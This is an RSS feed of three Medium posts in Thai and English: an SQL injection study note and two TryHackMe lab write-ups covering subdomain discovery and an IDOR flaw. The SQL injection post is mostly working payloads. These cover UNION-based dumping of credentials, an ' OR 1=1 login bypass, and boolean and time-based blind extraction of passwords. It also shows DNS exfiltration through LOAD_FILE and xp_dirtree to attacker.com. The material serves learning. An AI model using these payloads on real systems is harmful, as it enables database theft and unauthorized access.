<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by wiz394 on Medium]]></title>
        <description><![CDATA[Stories by wiz394 on Medium]]></description>
        <link>https://medium.com/@wiz394?source=rss-126ef97e8270------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PvuG3RmVaFesuYYer_fwfQ.jpeg</url>
            <title>Stories by wiz394 on Medium</title>
            <link>https://medium.com/@wiz394?source=rss-126ef97e8270------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:07:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wiz394/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQL Injection]]></title>
            <link>https://medium.com/@wiz394/sql-injection-9a4290335031?source=rss-126ef97e8270------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a4290335031</guid>
            <category><![CDATA[sqli]]></category>
            <dc:creator><![CDATA[wiz394]]></dc:creator>
            <pubDate>Thu, 08 Oct 2026 15:37:26 GMT</pubDate>
            <atom:updated>2026-10-08T17:23:27.973Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL Injection</p><p>Structured Query Language Injection หรือ SQLi</p><ol><li>In-Band SQLi</li></ol><ul><li>Error-Based SQLi : error message from db are printed directly to the browser screen.</li><li>Union-Based SQLi : utilize UNION operator to append my own SELECT statement to return additional results to the page.</li></ul><p>step 1: determine the number of column. Try until the error disappear.</p><pre>1 UNION SELECT 1          -- error (wrong column count)<br>1 UNION SELECT 1,2        -- error (still wrong)<br>1 UNION SELECT 1,2,3      -- success! The table has 3 columns</pre><p>step 2: identify which column are displayed. change query’s value to sth no result, so only our UNION output renders. แล้วก็ดูว่า column ไหนอยู่ใน content area ก็จะใช้ column นั้นในการ data extraction.</p><pre>0 UNION SELECT 1,2,3</pre><p>step 3: get the db name. apply database() function ใน column จาก step2.</p><pre>0 UNION SELECT 1,2,database()</pre><p>step 4: list tables</p><pre>0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = &#39;ชื่อdbที่ได้จากstep3&#39;</pre><p>step 5: list column in the target table</p><pre>0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = &#39;tableที่เลือกจากstep4&#39;</pre><p>step 6: extract credentials</p><pre>0 UNION SELECT 1,2,group_concat(ชื่อจากstep5,&#39;:&#39;,ชื่อจากstep5 SEPARATOR &#39;&lt;br&gt;&#39;) FROM ที่เลือกจากstep4</pre><p>2. Blind SQLi : app does not show query results or error messages.</p><ul><li>Authentication Bypass</li></ul><p>most login form will be like . . . .</p><pre>SELECT * FROM users WHERE username=&#39;bob&#39; AND password=&#39;secret123&#39; LIMIT 1;</pre><p>,so add &#39; OR 1=1;--</p><pre>SELECT * FROM users WHERE username=&#39;&#39; OR 1=1;--&#39; AND password=&#39;anything&#39; LIMIT 1;</pre><ul><li>Boolean-Based Blind SQLi : การดึงข้อมูลจาก db ผ่าน การถาม-ตอบ ใช่/ไม่ใช่</li></ul><p>หน้าเว็บจะแสดงมาแค่ 2 สถานะผ่าน JSON</p><p>{&quot;taken&quot;:true} = จริง (True)</p><p>{&quot;taken&quot;:false} = เท็จ (False)</p><p>step 1: confirm injection. ใส่เงื่อนไข true เสมอ ด้วย % (wildcard).</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 where database() like &#39;%&#39;;--</pre><p>ถ้าใส่ไปแล้วresultที่ได้ยังคงเป็น {&quot;taken&quot;:true} แปลว่า SQLi ใช้ได้ปกติ</p><p>step2: get db name letter by letter.</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 where database() like &#39;a%&#39;;--</pre><p>ถ้าผลลัพธ์ {&quot;taken&quot;:false} ลองตัวอื่น</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 where database() like &#39;s%&#39;;--</pre><p>ถ้าผลลัพธ์ {&quot;taken&quot;:true} ก็ลองตัวถัดไป</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 where database() like &#39;sa%&#39;;--   {&quot;taken&quot;:false}<br>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 where database() like &#39;sq%&#39;;--   {&quot;taken&quot;:true}</pre><p>step 3: find table names. แล้วก็ลอง table nameไปทีละตัวเรื่อยๆ</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = &#39;ได้จากstep2&#39; and table_name like &#39;u%&#39;;--</pre><p>step 4: get column names. ลองเรื่อยๆ. สมมุติว่าได้ username และ password</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_name = &#39;ได้จากstep3&#39; and column_name like &#39;u%&#39;;--</pre><p>step 5: extract username .ลองเรื่อยๆ</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 from users where username like &#39;a%&#39;;--</pre><p>step 6: extract password .ลองเรื่อยๆ</p><pre>RANDOM_USERNAME&#39; UNION SELECT 1,2,3 from users where username=&#39;admin&#39; and password like &#39;3%&#39;;--</pre><p>step 7: นำข้อมูลไป login</p><ul><li>Time-Based Blind SQLi</li></ul><p>step 1: find the column count. ถ้า response immediately= wrong column. ถ้ารอนานเช่น 5 วิ = correct one. ***sleep() จะ run only, UNIONcolumn count correct.</p><pre>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5);--<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2;--</pre><p>step 2: get db name. try!</p><pre>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 where database() like &#39;s%&#39;;--<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 where database() like &#39;sq%&#39;;--<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 where database() like &#39;sqli%&#39;;--<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 where database() like &#39;sqli_f%&#39;;--</pre><p>step 3: enumerate tables and columns. try!</p><pre>## find tables<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = &#39;ได้จากstep2&#39; and table_name like &#39;u%&#39;;--<br><br>## find columns<br>RANDOM_USERNAME&#39; UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_name = &#39;ได้จากstep3 ของtable&#39; and column_name like &#39;u%&#39;;--</pre><p>step 4: extract password. try!</p><pre>admin123&#39; UNION SELECT SLEEP(3),2 from users where username=&#39;admin&#39; and password like &#39;4%&#39;;--</pre><p>step 5: login</p><p>3. Out-of-Band SQLi : <strong>สั่งให้ตัว Database Server เป็นฝ่ายยิง Request ออกมาหา Server ภายนอกที่ Attacker ควบคุมอยู่</strong> ผ่านโปรโตคอลเครือข่ายอื่น เช่น <strong>DNS</strong> หรือ <strong>HTTP</strong> พร้อมแนบข้อมูลที่ต้องการขโมยติดมากับ Request นั้น</p><p>**<strong>เงื่อนไขสำคัญ:</strong> ตัว Database Server <strong>ต้องสามารถเชื่อมต่อออกอินเทอร์เน็ตภายนอก (Outbound connection) ได้</strong> หากติดไฟร์วอลล์บล็อกทราฟฟิกขาออกทั้งหมด วิธีนี้จะใช้ไม่ได้</p><p>DNS Exfiltration w/ MySQL</p><p>MySQL: ใช้ function LOAD_FILE() to trigger DNS lookup</p><pre>SELECT LOAD_FILE(CONCAT(&#39;\\\\&#39;, (SELECT database()), &#39;.attacker.com\\share&#39;));</pre><ul><li>ตัวอย่าง: ถ้าชื่อฐานข้อมูลคือ webapp_db ระบบจะพยายามค้นหา Host webapp_db.attacker.com</li><li>ฝั่งผู้โจมตีจะดู Log บน DNS Server แล้วเห็นชื่อ webapp_db ติดมาใน Subdomain</li></ul><p>MySQL: xp_dirtree: สั่งให้อ่าน Directory ระยะไกลเพื่อกระตุ้นให้เกิด DNS Lookup</p><pre>EXEC master..xp_dirtree &#39;\\attacker.com\share&#39;;</pre><p>xp_cmdshell: รันคำสั่ง OS Command ได้โดยตรง (ถ้าเปิดใช้งาน) เช่นใช้ nslookup หรือ curl ส่งข้อมูลออกไป</p><p>เครื่องมือที่ใช่รับข้อมูล:</p><ul><li><strong>Burp Collaborator:</strong> เครื่องมือยอดนิยมที่มี Domain ให้ใช้ตรวจจับและบันทึก DNS/HTTP callbacks</li><li><strong>Interactsh:</strong> เครื่องมือฟรี Open-source จาก ProjectDiscovery สามารถโฮสต์เองได้</li><li><strong>Custom Listener:</strong> เขียนเซิร์ฟเวอร์รับ DNS เอง เช่น ใช้ไลบรารี dnslib บน Python</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a4290335031" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: TakeOver Write-Up]]></title>
            <link>https://medium.com/@wiz394/thm-takeover-write-up-0b43f67b8077?source=rss-126ef97e8270------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b43f67b8077</guid>
            <dc:creator><![CDATA[wiz394]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 04:27:54 GMT</pubDate>
            <atom:updated>2026-04-24T04:27:54.195Z</atom:updated>
            <content:encoded><![CDATA[<p>THM: TakeOver Write-Up</p><p>สวัสดีครับ วันนี้มาทำ writeup ห้อง TakeOver ใน Tryhackme นะครับ</p><p>firstly, i look up upon the sub-header</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*hnpdzFaTzgpREOTViibL-A.png" /></figure><p>so, i knew that this room would relate to subdomain thing.</p><p>Secondly, the question ask me to DNS mapping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*GZ440WHSgRqZMN0P8G1lcQ.png" /></figure><p>ใช้สิทธิ root to edit file /etc/hosts, then &lt;ip&gt; &lt;domain&gt;, แล้วก็ save, exit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*xAyJXCIUHFjhVgDWCyUQ0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*ryjkx0WgZCiOeDHCjwT-zw.png" /></figure><p>try ping ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*O7-c-Km1DWWahe4JB6PFWA.png" /></figure><p>ลองสำรวจแล้วไม่มีอะไรเลย web page, view page sourceแล้ว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*BsH16QzMsrQX2HpUxwx9yQ.png" /></figure><p>ลองใช้ gobuster หา directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Cy1e1JfV34Ye7jsS3qXSBw.png" /></figure><p>result คือไม่มีอะไรเช่นกัน</p><p>แล้ว ceo บอกว่ากำลัง rebuilding support มันน่าจะมีอะไรตรงนั้นนะ เลยไป</p><p>dns mapping support.futurevera.thm ใน /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*61IUWqaFxDNOuPHAFVqO-Q.png" /></figure><p>ลองใช้ gobuster สรุปว่า SSL Certificate หมดอายุ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*ldYtlTKdK_FB1bd_e0-vLw.png" /></figure><p>เลยสั่งให้ gobuster ข้ามการตรวจสอบนี้ไป</p><p>gobuster dir -k -u <a href="https://support.futurevera.thm/">https://support.futurevera.thm</a> -w /usr/share/wordlists/dirb/common.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*7VvwTBglTBN237xgRvvBNA.png" /></figure><p>result ก็ nothing เหมือนเดิม</p><p>นี่เลยลองกด padlock&gt;more site information&gt; view certificate</p><p>แล้วไปเจอ subject alt names ชื่อแปลกๆมา secrethelpdesk934752.support.futurevera.thm</p><p>เลยไป dns mapping</p><p>ไปดูหน้าเว็บก็ nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Gs_bsWi2MPujDrOY7FpfUA.png" /></figure><p>เปลี่ยน port 443 (https) to port 80 (http)</p><p>ได้ flag</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b43f67b8077" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Neighbour Write-up]]></title>
            <link>https://medium.com/@wiz394/thm-neighbour-write-up-0425f07e32e4?source=rss-126ef97e8270------2</link>
            <guid isPermaLink="false">https://medium.com/p/0425f07e32e4</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[wiz394]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 01:59:10 GMT</pubDate>
            <atom:updated>2026-04-22T01:59:10.792Z</atom:updated>
            <content:encoded><![CDATA[<p>สวัสดีครับ, ใน ห้องนี้คำถามมีอยู่ว่า “Find the flag on your neighbor’s logged in page”</p><p>Step1: navigate url ที่ให้มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4Vfje8COZHkG67QPZ4XKA.png" /></figure><p>Step2:ผมก็ view page source ก่อนเลย ดูว่ามีอะไรในcodeหรือเปล่าเพราะโจทย์บอกให้หาflag ใน log in page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*3Q_2U4DGyxj4dCdVKVrRXg.png" /></figure><p>ผมเจอ ข้อความcomment บอกว่าให้ลอง guest credentials และยังมีบอกอีกว่า admin user account is off limit เหมือนบอกใบ้ว่าต้องเกี่ยวกับสิทธิการเข้าถึงแน่ๆอะไรประมาณนั้น</p><p>Step3:ผมก็เลยลอง log in as a guest เข้าไปดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*OpOC17Am4jNaTUfg7iunmA.png" /></figure><p>ได้หน้าต่างแบบนี้มา ซึ่งดูไม่มีอะไรพิเศษแต่ผมสังเกตุไปเห็นที่ URL มีเขียนว่า user=guest</p><p>Step4:ผมเลยลองเปลี่ยนจาก guest เป็น admin ผมก็เลย ได้ flagมา</p><p>ผมก็ไปศึกษาต่ออันนี้เค้าเรียกว่า IDOR Attack [Insecure Direct Object Reference] ซึ่งก็คือ เปลี่ยน user=guest line to user=admin เพื่อ ให้เราได้ unauthorized access ใน admin account</p><p>Thank you for reading kub</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0425f07e32e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>